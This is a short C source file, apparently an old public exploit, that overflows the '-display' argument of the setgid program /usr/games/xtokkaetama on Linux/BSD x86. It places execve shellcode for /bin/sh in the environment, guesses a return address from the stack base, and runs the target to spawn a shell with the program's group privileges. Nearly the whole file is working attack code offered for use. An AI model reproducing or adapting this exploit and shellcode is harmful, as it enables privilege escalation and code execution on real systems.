/*
 ** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
 ** I don't think you can do something nasty  
 ** with egid=games however (so this is mostly useless) 
 ** just written with the idea to make expl targetless.
 ** mostly ripped from gera's paper about bof :-o
 ** https://members.xoom.it/gunzip/
 ** gunzip@ircnet <techieone@softhome.net>
 **
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SIZE    20
#define PATH     "/usr/games/xtokkaetama"

unsigned long STACKBASE() 
{
  __asm__ ( "movl  %esp,  %eax" );
}

/**
 ** linux and bsd execve shellcode by me
 **/
unsigned char shellcode[] =   
  "\x31\xc0\x99\x52\x68\x2f\x2f\x73"
  "\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  "\x52\x53\x89\xe1\x52\x51\x53\x54"
  "\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
  "\xeb\x02\xb0\x3b\xcd\x80";

int main( int argc, char *argv[] )
{
  unsigned long  i, ret ;
  unsigned char  buf[ SIZE + 1 ],
      * env[]= { shellcode, NULL },
       * run[]= { PATH, "-display", buf, NULL };

    ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa ) 
    - strlen(PATH) - strlen(shellcode) ;

  memset( buf, 0, sizeof(buf) );
  
    for( i = 0; i < sizeof(buf) - 4; i += 4 ) 
    *(unsigned long *)&buf[i] = ret;

    if( execve( run[0], (char **)run, (char **)env ) ) {  
    perror( "execve" );
    exit( -1 );
  }
}